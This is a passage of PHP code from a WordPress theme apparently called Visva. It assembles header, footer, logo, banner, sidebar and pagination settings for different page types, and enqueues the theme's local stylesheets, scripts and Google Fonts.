		$page_footer_setting	=	!empty($page_footer_setting)?$page_footer_setting:'theme_default';
		if($page_footer_setting == 'custom'){
			$page_footer_style 	= visva_dzbase()->get_meta('page_footer_style'); 
			$dzRes['footer_on'] 	= visva_dzbase()->get_meta('page_footer_on');
			$dzRes['footer_style']	= !empty($page_footer_style)?$page_footer_style:$dzRes['footer_style'];
		}
	}
	/*Footer Header: necessary to get here END */
	
	$dzRes['footer_top'] = visva_set($options, $dzRes['footer_style'].'_top_on', true);
	$dzRes['footer_bottom'] = visva_set($options, $dzRes['footer_style'].'_bottom_on', true);
	
	$dzRes['footer_bg_image'] = visva_set($options, $dzRes['footer_style'].'_bg_image');
	$dzRes['footer_social_on'] = visva_set($options, $dzRes['footer_style'].'_social_on');
	$dzRes['footer_copyright_text'] = isset($options['footer_copyright_text']) ? visva_set($options, 'footer_copyright_text', VISVA_COPYWRITE_TEXT) : VISVA_COPYWRITE_TEXT;
	
	/* Footer Params Actions */
	$footer_style_options = visva_footer_style_options();
	foreach($footer_style_options as $footer)
	{
		$call_to_action_button = visva_set($footer['param'], 'call_to_action_button', 0);
		$bg_image = visva_set($footer['param'], 'bg_image', 0);
		
		if($call_to_action_button > 0 )
			{					
				for($i = 1; $i <= $call_to_action_button; $i++ )
				{
					$dzRes['footer_button_'.$i.'_text'] = visva_set($options, $dzRes['footer_style'].'_button_'.$i.'_text', '');
					$dzRes['footer_button_'.$i.'_url'] = visva_set($options, $dzRes['footer_style'].'_button_'.$i.'_url', ''); 
					$dzRes['footer_button_'.$i.'_target'] = visva_set($options, $dzRes['footer_style'].'_button_'.$i.'_target', '');
				}
			}
	}
	/* Footer Params Actions END */
	
	$dzRes['scroll_menu_pages'] = visva_set($options, 'scroll_menu_pages');
	
	/* Footer Settings Starts END */

	/* logo setting , adition logo settings for 'site_other_logo' for visva theme */
	$dzRes['logo_type'] = visva_set($options,'logo_type', '');
	$dzRes['logo_title'] = visva_set($options,'logo_title', VISVA_DEFAULT_TEXT_LOGO);
	$dzRes['tag_line'] = visva_set($options,'tag_line', VISVA_DEFAULT_TAG);
	
	$dzRes['logo_alt'] = visva_set($options,'logo_alt', VISVA_DEFAULT_TEXT_LOGO);
	
	if(isset($options['logo_type']) && $options['logo_type'] == 'image_logo')
	{
		$dzRes['logo'] = ($dzRes['header_style'] == 'header_2') ? visva_set($options['site_other_logo'], 'url', VISVA_DEFAULT_WHITE_LOGO) : visva_set($options['site_logo'], 'url', VISVA_DEFAULT_LOGO);
	}
	elseif(isset($options['logo_type']) && $options['logo_type'] == 'text_logo') {
		$dzRes['logo_text'] = visva_set($dzRes,'logo_text', VISVA_DEFAULT_TEXT_LOGO);
		$dzRes['logo_title'] = visva_set($options,'logo_title', VISVA_DEFAULT_TEXT_LOGO);
	}
	else {
		$dzRes['logo'] = VISVA_DEFAULT_LOGO;
	}

	$dzRes['site_logo'] = isset($options['site_logo']) ? visva_set($options['site_logo'], 'url', VISVA_DEFAULT_LOGO) : VISVA_DEFAULT_LOGO;

	$dzRes['site_other_logo'] = isset($options['site_other_logo']) ? visva_set($options['site_other_logo'], 'url', VISVA_DEFAULT_WHITE_LOGO) : VISVA_DEFAULT_WHITE_LOGO;

	$dzRes['ratina_logo'] = isset($options['ratina_logo']) ? visva_set($options['ratina_logo'], 'url' , '') : '';
	$dzRes['mobile_logo'] = isset($options['mobile_logo']) ? visva_set($options['mobile_logo'],'url', '') : '';
	$dzRes['ratina_mobile logo'] = isset($options['ratina_mobile_logo']) ? visva_set($options['ratina_mobile_logo'], 'url', '') : '';
	/* End logo setting  */

	/*************************************************************************************************/
	$dzRes['show_search_button'] = $dzRes['header_search_on'];
	$dzRes['search_button_title'] = $dzRes['header_search_button_title'];
	$dzRes['hide_social_icons_mobile'] = $dzRes['mobile_header_social_link_on'];
	
	/* Post general setting */
	$dzRes['post_layout'] = visva_set($options, 'post_general_layout', 'standard');
	$dzRes['post_view_on'] = visva_set($options, 'post_view_on');
	$dzRes['post_start_view'] = visva_set($options, 'post_start_view', 1);
	$dzRes['pre_next_post_on'] = visva_set($options, 'pre_next_post_on');
	$dzRes['comment_view_on'] = visva_set($options, 'comment_view_on');
	$dzRes['featured_img_on'] = visva_set($options, 'featured_img_on');
	$dzRes['featured_img_on'] = visva_set($options, 'featured_img_on');
	/* Post general setting end */
	
	/* Page banner setting */
	$dzRes['show_banner'] = isset($options['page_general_banner_on']) ? $options['page_general_banner_on'] : true;
	$dzRes['banner_type'] = 'image';
	$dzRes['banner_height'] = visva_set($options, 'page_general_banner_height', 'page_banner_big');
	$dzRes['banner_custom_height'] = visva_set($options, 'page_general_banner_custom_height', '100');
	$dzRes['banner_image'] = isset($options['page_general_banner']) ? visva_set($options['page_general_banner'], 'url', VISVA_BANNER) : VISVA_BANNER;
	/* End Page banner setting */
	
	/* Sidebar and there layout */
	$dzRes['layout'] = 'right';
	$dzRes['sidebar'] = 'dz_default_sidebar';
	$dzRes['show_sidebar'] = visva_set($options, 'page_general_show_sidebar', true);
	if($dzRes['show_sidebar']) {
		$dzRes['layout'] = visva_set($options, 'page_general_sidebar_layout', 'right');
		$dzRes['sidebar'] = visva_set($options, 'page_general_sidebar', 'dz_default_sidebar');
	}
	/* End Sidebar and there layout */

	$pagination = visva_set($options, 'page_general_paging', 'default');
	$dzRes['disable_ajax_pagination'] = ($pagination == 'load_more') ? $pagination : '';
	/*************************************************************************************************/

	
	
	$HomePagetemp = $dzRes;
	
	/* page.php */
	if(is_page()) { 
		
		$page_level_keys = array(
			'page_header_setting',
			'page_header_style',
			'page_banner_height',
			'page_banner_on',
			'page_banner_hide',
			'page_banner',
			'banner_image',
			'page_show_sidebar',
			'page_sidebar_layout',
			'page_sidebar',
			'page_footer_setting',
			'page_footer_style',
		);

		foreach($page_level_keys as $value)
		{
			$page_settings[$value] =  visva_dzbase($page_level_keys)->get_meta($value);
		}
		
		/* Header & Logo Setting */
		$page_header_setting	=	!empty($page_settings['page_header_setting'])?$page_settings['page_header_setting']:'theme_default';
		if($page_header_setting == 'custom'){
			$dzRes['header_style'] = !empty($page_settings['page_header_style'])?$page_settings['page_header_style']:$dzRes['header_style'];
		}
		
		$dzRes['header_top_bar_on'] = visva_set($options, $dzRes['header_style'].'_top_bar_on');
		$dzRes['header_search_on'] = visva_set($options, $dzRes['header_style'].'_search_on',true);		
		
		$dzRes['header_search_on'] = visva_set($options, $dzRes['header_style'].'_search_button_title',true);		
		$dzRes['header_search_on'] = visva_set($options, $dzRes['header_style'].'_search_on',true);		
		$dzRes['header_search_on'] = visva_set($options, $dzRes['header_style'].'_search_on',true);		
		$dzRes['header_search_on'] = visva_set($options, $dzRes['header_style'].'_search_on',true);		
		$dzRes['header_search_on'] = visva_set($options, $dzRes['header_style'].'_search_on',true);		
		$dzRes['header_search_on'] = visva_set($options, $dzRes['header_style'].'_search_on',true);		
		$dzRes['header_style_class'] = ($dzRes['header_style'] == 'header_2') ? 'header-transparent' : '';
		if($dzRes['header_style'] == 'header_2')
		{
			$dzRes['logo'] = visva_set($options, 'site_other_logo');
			$dzRes['logo'] = visva_set($dzRes['logo'], 'url', VISVA_DEFAULT_WHITE_LOGO);
		}else{
			$dzRes['logo'] = visva_set($options, 'site_logo');
			$dzRes['logo'] = visva_set($dzRes['logo'], 'url', VISVA_DEFAULT_LOGO);
		}
		
		/* End Header & Logo Setting */
		
		/* Page banner setting */
		
		$dzRes['show_banner'] = isset($page_settings['page_banner_on']) ? $page_settings['page_banner_on'] : $dzRes['show_banner'];
		
		$dzRes['banner_height'] = !empty($page_settings['page_banner_height'])?$page_settings['page_banner_height']:$dzRes['banner_height'];
		
		$dzRes['banner_custom_height'] = !empty($page_settings['page_banner_custom_height'])?$page_settings['page_banner_custom_height']:$dzRes['banner_custom_height'];
		
		$dzRes['dont_use_banner_image'] = visva_set($page_settings,'page_banner_hide', 0);
		
		if($dzRes['dont_use_banner_image'] == 0){
			$dzRes['banner_image'] = isset($page_settings['page_general_banner']) ? visva_set($page_settings['page_general_banner'], 'url', $dzRes['banner_image']) : $dzRes['banner_image']; 
		}
		else{
			$dzRes['banner_image'] = "";
		}
		/* End page banner setting */
		
		
		
		/* Sidebar and there layout */
		$dzRes['show_sidebar'] = isset($page_settings['page_show_sidebar']) ? $page_settings['page_show_sidebar'] : $dzRes['show_sidebar'];
		if($dzRes['show_sidebar']) {
			$dzRes['layout'] = visva_set($page_settings, 'page_sidebar_layout', $dzRes['layout']);
			$dzRes['sidebar'] = visva_set($page_settings, 'page_sidebar', $dzRes['sidebar']);
		}
		/* End Sidebar and there layout */

		$page_footer_setting	=	!empty($page_settings['page_footer_setting'])?$page_settings['page_footer_setting']:'theme_default';
		if($page_footer_setting == 'custom'){
			$dzRes['footer_style'] = !empty($page_settings['page_footer_style'])?$page_settings['page_footer_style']:$dzRes['footer_style'];
		}
		
	}	

	/* single.php */
	if(is_single())	{

		$page_level_keys = array(
			'featured_post',
			'post_layout',
			'post_type_gallery1',
			'post_type_gallery2',
			'post_type_link',
			'post_type_video',
			'post_type_audio',
			'post_show_sidebar',
			'post_sidebar_layout',
			'post_sidebar'
		);
		foreach($page_level_keys as $value)
		{
			$page_settings[$value] =  visva_dzbase($page_level_keys)->get_meta($value);
		}

		$dzRes['is_featured_post'] = visva_dzbase()->get_meta( 'featured_post' );
		$post_layout = visva_dzbase()->get_meta( 'post_layout' );
		$dzRes['post_layout'] = (isset($post_layout)) ? $post_layout : $dzRes['post_layout'];

		if($dzRes['post_layout'] == 'slider_post_1') {
			$dzRes['post_gallary_setting'] = visva_dzbase()->get_meta('post_type_gallery1');
		}
		if($dzRes['post_layout'] == 'slider_post_2') {
			$dzRes['post_gallary_setting'] = visva_dzbase()->get_meta('post_type_gallery2');
		}
		$dzRes['external_link'] = visva_dzbase()->get_meta('post_type_link');
		$dzRes['youtube_link'] = visva_dzbase()->get_meta('post_type_video');
		$dzRes['audio_link'] = visva_dzbase()->get_meta('post_type_audio');
		
		// Single post sidebar settings from post level.
		if($dzRes['post_layout'] == 'gutenberg') {
			$dzRes['sidebar'] = '';
			$dzRes['layout'] = 'full';
		}
		else {

			/* Sidebar and there layout */
			$dzRes['show_sidebar'] = visva_set($page_settings,'post_show_sidebar',$dzRes['show_sidebar']);
			if($dzRes['show_sidebar'] == true) {
				$dzRes['layout'] = visva_set($page_settings, 'post_sidebar_layout', $dzRes['layout']);
				$dzRes['sidebar'] = visva_set($page_settings, 'post_sidebar', $dzRes['sidebar']);
			}
			/* End Sidebar and there layout */
		}
		// Single post sidebar settings from post level end.
		$dzRes['related_post_title'] = visva_set($options, 'related_post_title', '');
		$dzRes['layout_class'] = (!is_active_sidebar($dzRes['sidebar']) || $dzRes['layout'] == 'full' || $dzRes['show_sidebar'] != true || !visva_is_theme_sidebar_active()) ? ' col-lg-12 col-md-12 ' : ' col-lg-8 col-md-7 sidebar ';
	}
	
	/* archive.php */
	if(is_archive()) {

		$dzRes['page_title'] = visva_set($options,'archive_page_title', esc_html__('Archive : ', 'visva'));
		
		/* Page banner setting */
		$dzRes['show_banner'] = isset($options['archive_page_banner_on']) ? $options['archive_page_banner_on'] : $dzRes['show_banner'];
		$dzRes['banner_height'] = visva_set($options, 'archive_page_banner_height', $dzRes['banner_height']);
		$dzRes['dont_use_banner_image'] = visva_set($options, 'archive_page_banner_hide', '0');
		
		$dzRes['banner_custom_height'] = visva_set($options, 'archive_page_banner_custom_height', $dzRes['banner_custom_height']);

		if($dzRes['dont_use_banner_image'] == 0){	
			$dzRes['banner_image'] = isset($options['archive_page_banner']) ? visva_set($options['archive_page_banner'], 'url', $dzRes['banner_image']) : $dzRes['banner_image'];
		}
		else{
			$dzRes['banner_image'] = "";
		}
		/* End Page banner setting */
				
		/* Sidebar and there layout */
		$dzRes['show_sidebar'] = isset($options['archive_page_show_sidebar']) ? $options['archive_page_show_sidebar'] : true;
		if($dzRes['show_sidebar']) {
			$dzRes['layout'] = visva_set($options, 'archive_page_sidebar_layout', $dzRes['layout']);
			$dzRes['sidebar'] = visva_set($options, 'archive_page_sidebar', $dzRes['sidebar']);
		}
		/* End Sidebar and there layout */

		$pagination = visva_set($options, 'archive_page_paging', $dzRes['disable_ajax_pagination']);
		$dzRes['disable_ajax_pagination'] = ($pagination == 'load_more') ? $pagination : '';
	}

	/* tag.php */
	if(is_tag()) {

		$dzRes['page_title'] = visva_set($options,'tag_page_title', esc_html__('Tag : ', 'visva'));

		/* Tag banner setting */
		$dzRes['show_banner'] = isset($options['tag_page_banner_on']) ? $options['tag_page_banner_on'] : $dzRes['show_banner'];
		$dzRes['banner_height'] = visva_set($options, 'tag_page_banner_height', $dzRes['banner_height']);
		$dzRes['dont_use_banner_image'] = visva_set($options, 'tag_page_banner_hide', '0');
		
		$dzRes['banner_custom_height'] = visva_set($options, 'tag_page_banner_custom_height', $dzRes['banner_custom_height']);

		if($dzRes['dont_use_banner_image'] == 0){	
			$dzRes['banner_image'] = isset($options['tag_page_banner']) ? visva_set($options['tag_page_banner'], 'url', $dzRes['banner_image']) : $dzRes['banner_image'];
		}
		else{
			$dzRes['banner_image'] = "";
		}
		/* End Tag banner setting */
		
		/* Sidebar and there layout */
		$dzRes['show_sidebar'] = isset($options['tag_page_show_sidebar']) ? $options['tag_page_show_sidebar'] : true;
		if($dzRes['show_sidebar']) {
			$dzRes['layout'] = visva_set($options, 'tag_page_sidebar_layout', $dzRes['layout']);
			$dzRes['sidebar'] = visva_set($options, 'tag_page_sidebar', $dzRes['sidebar']);
		}
		/* End Sidebar and there layout */

		$pagination = visva_set($options, 'tag_page_paging', $dzRes['disable_ajax_pagination']);
		$dzRes['disable_ajax_pagination'] = ($pagination == 'load_more') ? $pagination : '';
	}
	
	/* author.php */
	if(is_author() ) {
		$dzRes['page_title'] = visva_set($options,'author_page_title', esc_html__('Author : ', 'visva'));
		$dzRes['page_title'] = $dzRes['page_title'] . get_the_author_meta('display_name');

		/* Tag banner setting */

		$dzRes['show_banner'] = isset($options['author_page_banner_on']) ? $options['author_page_banner_on'] : $dzRes['show_banner'];

		$dzRes['banner_height'] = visva_set($options, 'author_page_banner_height', $dzRes['banner_height']);
		$dzRes['dont_use_banner_image'] = visva_set($options, 'author_page_banner_hide', '0');
		
		$dzRes['banner_custom_height'] = visva_set($options, 'author_page_banner_custom_height', $dzRes['banner_custom_height']);

		if($dzRes['dont_use_banner_image'] == 0){	
			$dzRes['banner_image'] = isset($options['author_page_banner']) ? visva_set($options['author_page_banner'], 'url', $dzRes['banner_image']) : $dzRes['banner_image'];
		}
		else{
			$dzRes['banner_image'] = "";
		}
		/* End Tag banner setting */
		
		$dzRes['show_banner'] = visva_set($options, 'author_page_banner_on', $dzRes['show_banner']);
		if($dzRes['show_banner'] == true) {
			$dzRes['banner_height'] = visva_set($options, 'author_page_banner_height', $dzRes['banner_height']);
			$dzRes['banner_image'] = visva_set($options['author_page_banner'], 'url', $dzRes['banner_image']);
			$dzRes['dont_use_banner_image'] = visva_set($options, 'author_page_banner_hide', '0');
		}

		/* Sidebar and there layout */
		$dzRes['show_sidebar'] = isset($options['author_page_show_sidebar']) ? $options['author_page_show_sidebar'] : true;
		if($dzRes['show_sidebar']) {
			$dzRes['layout'] = visva_set($options, 'author_page_sidebar_layout', $dzRes['layout']);
			$dzRes['sidebar'] = visva_set($options, 'author_page_sidebar', $dzRes['sidebar']);
		}
		/* End Sidebar and there layout */

		$pagination = visva_set($options, 'author_page_paging', $dzRes['disable_ajax_pagination']);
		$dzRes['disable_ajax_pagination'] = ($pagination == 'load_more') ? $pagination : '';
	}	
	
	/* index.php */
	if(is_home()) {
		
		$dzRes['page_title'] = visva_set($options, 'blog_page_title', esc_html__('Blog', 'visva'));
	}
	
	/* search.php */
	if(is_search()) {
		$dzRes['page_title'] = visva_set($options,'search_page_title', esc_html__('Search : ', 'visva'));

		/* Search banner setting */
		$dzRes['show_banner'] = isset($options['search_page_banner_on']) ? $options['search_page_banner_on'] : $dzRes['show_banner'];
		$dzRes['banner_height'] = visva_set($options, 'search_page_banner_height', $dzRes['banner_height']);
		$dzRes['dont_use_banner_image'] = visva_set($options, 'search_page_banner_hide', '0');
		
		$dzRes['banner_custom_height'] = visva_set($options, 'search_page_banner_custom_height', $dzRes['banner_custom_height']);

		if($dzRes['dont_use_banner_image'] == 0){	
			$dzRes['banner_image'] = isset($options['search_page_banner']) ? visva_set($options['search_page_banner'], 'url', $dzRes['banner_image']) : $dzRes['banner_image'];
		}
		else{
			$dzRes['banner_image'] = "";
		}
		/* End Search banner setting */

		/* Sidebar and there layout */
		$dzRes['show_sidebar'] = isset($options['search_page_show_sidebar']) ? $options['search_page_show_sidebar'] : true;
		if($dzRes['show_sidebar']) {
			$dzRes['layout'] = visva_set($options, 'search_page_sidebar_layout', $dzRes['layout']);
			$dzRes['sidebar'] = visva_set($options, 'search_page_sidebar', $dzRes['sidebar']);
		}
		/* End Sidebar and there layout */

		$pagination = visva_set($options, 'search_page_paging', $dzRes['disable_ajax_pagination']);
		$dzRes['disable_ajax_pagination'] = ($pagination == 'load_more') ? $pagination : '';
	}
	
	
	
	if(is_page() || is_archive() || is_tag() || is_author() || is_home() || is_search() || is_404()) {

		$dzRes['banner_class'] = '';
		if($dzRes['header_style'] == 'header_2')
		{
			$dzRes['banner_class'] .= ' tp-banner';
		}
		
		if(isset($dzRes['banner_height']) && $dzRes['banner_height'] == 'page_banner_big') {
			$dzRes['banner_class'] .= 'dlab-bnr-inr-md';
		}elseif(isset($dzRes['banner_height']) && $dzRes['banner_height'] == 'page_banner_medium'){
			$dzRes['banner_class'] .= 'dlab-bnr-inr-sm';
		}
		
		$dzRes['page_banner_style_attr'] = !empty($dzRes['banner_image']) ? 'background-image:url('.esc_url($dzRes['banner_image']).')' : '';
	
		$dzRes['container_class'] = (!is_active_sidebar($dzRes['sidebar']) || $dzRes['layout'] == 'full' || $dzRes['show_sidebar'] != true) ? 'min-container' : 'container';
		$dzRes['layout_class'] = (!is_active_sidebar($dzRes['sidebar']) || $dzRes['layout'] == 'full' || $dzRes['show_sidebar'] != true || !visva_is_theme_sidebar_active()) ? ' col-lg-12 col-md-12 ' : ' col-lg-8 col-md-7 sidebar ';
		
	}
	
	/* category.php */
	if(is_category()) {

		$dzRes['banner_height'] = '';
		$dzRes['dont_use_banner_image'] = 0;
		$dzRes['page_title'] = visva_set($options,'category_page_title', esc_html__('Category : ', 'visva'));
			
		/* Search banner setting */
		$dzRes['show_banner'] = isset($options['category_page_banner_on']) ? $options['category_page_banner_on'] : $dzRes['show_banner'];
		$dzRes['banner_height'] = visva_set($options, 'category_page_banner_height', $dzRes['banner_height']);
		$dzRes['dont_use_banner_image'] = visva_set($options, 'category_page_banner_hide', '0');
		
		$dzRes['banner_custom_height'] = visva_set($options, 'category_page_banner_custom_height', $dzRes['banner_custom_height']);

		if($dzRes['dont_use_banner_image'] == 0){	
			$dzRes['banner_image'] = isset($options['category_page_banner']) ? visva_set($options['category_page_banner'], 'url', $dzRes['banner_image']) : $dzRes['banner_image'];
		}
		else{
			$dzRes['banner_image'] = "";
		}
		/* End Search banner setting */
				
		/* Sidebar and there layout */
		$dzRes['show_sidebar'] = isset($options['category_page_show_sidebar']) ? $options['category_page_show_sidebar'] : true;
		if($dzRes['show_sidebar']) {
			$dzRes['layout'] = visva_set($options, 'category_page_sidebar_layout', $dzRes['layout']);
			$dzRes['sidebar'] = visva_set($options, 'category_page_sidebar', $dzRes['sidebar']);
		}
		/* End Sidebar and there layout */

		/* To manage Category Page banner and layout settings */
		$dzRes['banner_class'] = '';
		if($dzRes['header_style'] == 'header_2')
		{
			$dzRes['banner_class'] .= ' tp-banner';
		}
		
		if(isset($dzRes['banner_height']) && $dzRes['banner_height'] == 'page_banner_big') {
			$dzRes['banner_class'] .= 'dlab-bnr-inr-md';
		}elseif(isset($dzRes['banner_height']) && $dzRes['banner_height'] == 'page_banner_medium'){
			$dzRes['banner_class'] .= 'dlab-bnr-inr-sm';
		}
		
		$dzRes['page_banner_style_attr'] = !empty($dzRes['banner_image']) ? 'background-image:url('.esc_url($dzRes['banner_image']).')' : '';
	
		$dzRes['container_class'] = (!is_active_sidebar($dzRes['sidebar']) || $dzRes['layout'] == 'full' || $dzRes['show_sidebar'] != true) ? 'min-container' : 'container';
		$dzRes['layout_class'] = (!is_active_sidebar($dzRes['sidebar']) || $dzRes['layout'] == 'full' || $dzRes['show_sidebar'] != true || !visva_is_theme_sidebar_active()) ? ' col-lg-12 col-md-12 ' : ' col-lg-8 col-md-7 sidebar ';
		/* End To manage Category Page banner and layout settings */

		$pagination = visva_set($options, 'category_page_paging', $dzRes['disable_ajax_pagination']);
		$dzRes['disable_ajax_pagination'] = ($pagination == 'load_more') ? $pagination : '';
		/* all other variable will manage on category page from db. */
	}

	if(is_404()){
    $dzRes['error_404_bg'] = visva_set($options, 'error_404_bg');
    $dzRes['error_404_bg'] = !empty($dzRes['error_404_bg']['url'])?$dzRes['error_404_bg']['url']:get_template_directory_uri() . '/assets/images/background/bg2.png';
		$dzRes['error_page_title'] = visva_set($options,'error_page_title', esc_html__('404','visva'));
		$dzRes['error_page_subtitle'] = visva_set($options,'error_page_subtitle', esc_html__('Something went wrong !','visva'));
		$dzRes['error_page_search_on'] = visva_set($options,'error_page_search_on');
		$dzRes['error_page_text'] = visva_set($options,'error_page_text', esc_html__('We are sorry. But the page you are looking for cannot be found.','visva'));
		$dzRes['error_page_text2'] = visva_set($options,'error_page_text2', esc_html__('You can go back to the Main Page by clicking the button.','visva'));
		$dzRes['error_page_button_text'] = visva_set($options,'error_page_button_text', esc_html__('Back to Home','visva'));
	}
	
	//* Logo Setting According To Theme Color and Header *//
	
	
	/* Remove from package */
	$dzRes['predefined_color_skin'] = visva_set($options, 'predefined_color_skin');
	/* Remove from package */
	$dzRes['header_logo'] =  $dzRes['site_logo'];
	$dzRes['footer_logo'] = $dzRes['site_other_logo'];
	$dzRes['loading_logo'] = $dzRes['site_logo'];
	if(in_array($dzRes['predefined_color_skin'], array('black-blue-default','blue-white-dark','orange-white-dark', 'black-white-dark')))
	{
		$dzRes['loading_logo'] = $dzRes['site_other_logo'];
	}
	
	if(in_array($dzRes['header_style'], array('header_7')))
	{
		$dzRes['header_logo'] = $dzRes['footer_logo'] = $dzRes['site_logo'];
		if(in_array($dzRes['predefined_color_skin'], array('black-blue-default','blue-white-dark','orange-white-dark', 'black-white-dark')))
		{
			$dzRes['footer_logo'] = $dzRes['site_other_logo'];
			
		}
	}	
	elseif(in_array($dzRes['header_style'], array('header_5')))
	{
		$dzRes['header_logo'] = $dzRes['footer_logo'] = $dzRes['site_other_logo'];
		if(in_array($dzRes['predefined_color_skin'], array('blue-white-light-2', 'orange-white-light', 'black-white-light')))
		{
			$dzRes['footer_logo'] = $dzRes['site_logo'];
		}
	}	
	elseif(in_array($dzRes['header_style'], array('header_3')))
	{
		$dzRes['header_logo'] = $dzRes['footer_logo'] = $dzRes['site_other_logo'];
		if(in_array($dzRes['predefined_color_skin'], array('blue-white-light-2', 'orange-white-light', 'black-white-light')))
		{
			$dzRes['footer_logo'] = $dzRes['site_logo'];
		}
	}
	elseif(
		in_array($dzRes['header_style'], array('header_1', 'header_2','header_4','header_6','header_8')) && 
		in_array($dzRes['predefined_color_skin'], array('black-blue-default', 'blue-white-light-2', 'orange-white-light', 'black-white-light')) 
		)
		{
			$dzRes['header_logo'] = $dzRes['footer_logo'] = $dzRes['site_logo'];
			
			if(in_array($dzRes['predefined_color_skin'], array('black-blue-default')))
			{
				$dzRes['footer_logo'] = $dzRes['site_other_logo'];
			}	
		}
	elseif(
		in_array($dzRes['header_style'], array('header_1', 'header_2','header_4','header_6','header_8')) && 
		in_array($dzRes['predefined_color_skin'], array('blue-white-dark','orange-white-dark', 'black-white-dark')) 
		)
		{
			$dzRes['header_logo'] = $dzRes['footer_logo'] = $dzRes['site_other_logo'];
		}	
	
	/* Set All Option Values to Global Variable */
	$visva_option = $dzRes;
	
	if($visva_option['website_status'] != 'live_mode' && !is_home() && !is_front_page() && !is_user_logged_in())
	{
		wp_redirect(home_url( '/' ));
	}

}


function visva_enqueue_scripts() {
    
	$options = visva_dzbase()->option();
	
	$skin = visva_set($options, 'predefined_color_skin','green');
	$color_skin_setting = visva_set($options, 'color_skin_setting','predefined_color_skin');
	
	/* style */
	wp_enqueue_style( 'fontawesome', get_template_directory_uri() . '/assets/css/all-min.css' );
	
	wp_enqueue_style( 'flaticon', get_template_directory_uri() . '/assets/css/flaticon.css' );
	wp_enqueue_style( 'themify-icons', get_template_directory_uri() . '/assets/css/themify-icons.css' );
	
	wp_enqueue_style( 'magnific-popup', get_template_directory_uri() . '/assets/css/magnific-popup-min.css' );
	
	wp_enqueue_style( 'lightgallery', get_template_directory_uri() . '/assets/css/lightgallery-min.css' );
	wp_enqueue_style( 'line-awesome', get_template_directory_uri() . '/assets/css/line-awesome-min.css' );
	
	wp_enqueue_style( 'aos', get_template_directory_uri() . '/assets/css/aos.css' );
	wp_enqueue_style( 'twentytwenty', get_template_directory_uri() . '/assets/css/twentytwenty.css' );
	wp_enqueue_style( 'swiper-css', get_template_directory_uri() . '/assets/css/swiper-bundle-min.css' );
	
	if(class_exists('woocommerce')) wp_enqueue_style( 'visva-woocommerce', get_template_directory_uri() . '/assets/css/woocommerce.css' );
	
	if(is_child_theme()){
	   	wp_enqueue_style( 'visva-parent-style', get_template_directory_uri() . '/style.css' );
	    wp_enqueue_style( 'visva-main-style', get_stylesheet_uri() );
	}else{
	    wp_enqueue_style( 'visva-main-style', get_stylesheet_uri() );    
	}
	wp_enqueue_style( 'visva-style', get_template_directory_uri() . '/assets/css/style.css' );
	
	if($color_skin_setting == 'predefined_color_skin'){
		wp_enqueue_style( 'visva-skin', get_template_directory_uri() . '/assets/css/skin/'.$skin.'.css' );
	}else{
		wp_enqueue_style( 'visva-skin', get_template_directory_uri() . '/assets/css/skin/theme.css' );
	}
	
	wp_enqueue_style( 'visva-custom', get_template_directory_uri() . '/assets/css/custom.css' );
	
  
    /* scripts */
	wp_enqueue_script( 'jquery-ui-core');
	
	wp_enqueue_script( 'bootstrap-bundle', get_template_directory_uri().'/assets/js/bootstrap-bundle-min.js', array( 'jquery' ), '5.0.0', true );

	wp_enqueue_script( 'magnific-popup', get_template_directory_uri().'/assets/js/magnific-popup.js', array( 'jquery' ), '1.1.0', true );
	
	wp_enqueue_script( 'counterup', get_template_directory_uri().'/assets/js/counterup-min.js', array( 'jquery' ), '1.0', true );
	
	wp_enqueue_script( 'imagesloaded', '', array(), false, true ); /* Pre-packaged Library */
	wp_enqueue_script( 'masonry', '', array(), false, true ); /* Pre-packaged Library */
	
	wp_enqueue_script( 'masonry-multiple', get_template_directory_uri().'/assets/js/masonry-filter-multiple.js', array( 'jquery' ), '1.0', true );
	
	
	wp_enqueue_script( 'light-gallery', get_template_directory_uri().'/assets/js/lightgallery-all-min.js', array( 'jquery' ), '1.6.12', true );
	wp_enqueue_script( 'light-gallery-reduild', get_template_directory_uri().'/assets/js/rebuildLightGallery.js', array( 'jquery' ), '1.0', true );
	
	wp_enqueue_script( 'countdown', get_template_directory_uri().'/assets/js/jquery-countdown.js', array( 'jquery' ), '1.0', true );
	
	wp_enqueue_script( 'waypoint', get_template_directory_uri().'/assets/js/waypoints-min.js', array( 'jquery' ), '1.0', true );
	
	wp_enqueue_script( 'jquery-event-move', get_template_directory_uri().'/assets/js/jquery-event-move.js', array(), false, true );
	wp_enqueue_script( 'jquery-twentytwenty', get_template_directory_uri().'/assets/js/jquery-twentytwenty.js', array(), false, true );
	
	wp_enqueue_script( 'swiper-js', get_template_directory_uri().'/assets/js/swiper-bundle-min.js', array( 'jquery' ), '6.5.0', true );
	
	wp_enqueue_script( 'aos', get_template_directory_uri().'/assets/js/aos.js', array(), false, true );
	
	wp_enqueue_script( 'visva-main-script', get_template_directory_uri().'/assets/js/custom.js', array(), false, true );
	wp_enqueue_script( 'visva-wp-script', get_template_directory_uri().'/assets/js/wp-script.js', array(), false, true );
		
	wp_enqueue_script( 'visva-dz-carousel', get_template_directory_uri().'/assets/js/dz-carousel.js', array( 'jquery' ), '1.0', true );	
	
	if( is_singular() ) wp_enqueue_script('comment-reply');	
}

add_action( 'wp_enqueue_scripts', 'visva_enqueue_scripts' );
/*-------------------------------------------------------------*/



function visva_theme_slug_fonts_url() {
    $fonts_url = '';
    /* Translators: If there are characters in your language that are not
    * supported by Lora, translate this to 'off'. Do not translate
    * into your own language.
    */
	$Montserrat = _x( 'on', 'Montserrat font: on or off', 'visva' );
	$Source_Sans_Pro = _x( 'on', 'Source Sans Pro font: on or off', 'visva' );
   
	$font_families = array();
	
	if ( 'off' !== $Montserrat ) {
    $font_families[] = 'Montserrat:wght@100;200;300;400;500;600;700;800;900';
  }
  
	if ( 'off' !== $Source_Sans_Pro ) {
		$font_families[] = '&family=Source+Sans+Pro:ital,wght@0,200;0,300;0,400;0,600;0,700;0,900;1,200;1,300;1,400;1,600;1,700;1,900';
	}
  
	$font_families = array_unique( $font_families);
    
	$font_url_string = '';
	foreach($font_families as $font_family){
		$font_url_string .= $font_family;
	}
	
	$query_args = array(
	  'family' =>$font_url_string,
	  'display' => 'swap',
	);

    $fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css2');
	
    return esc_url_raw( $fonts_url );
}

function visva_theme_slug_scripts_styles() {
    wp_enqueue_style( 'visva-theme-slug-fonts', visva_theme_slug_fonts_url(), array(), null );
}
add_action( 'wp_enqueue_scripts', 'visva_theme_slug_scripts_styles' );

function visva_add_editor_styles() {
    add_editor_style( 'custom-editor-style.css' );
}
add_action( 'admin_init', 'visva_add_editor_styles' );
add_action('init', 'visva_custom_icon');
function visva_custom_icon() {
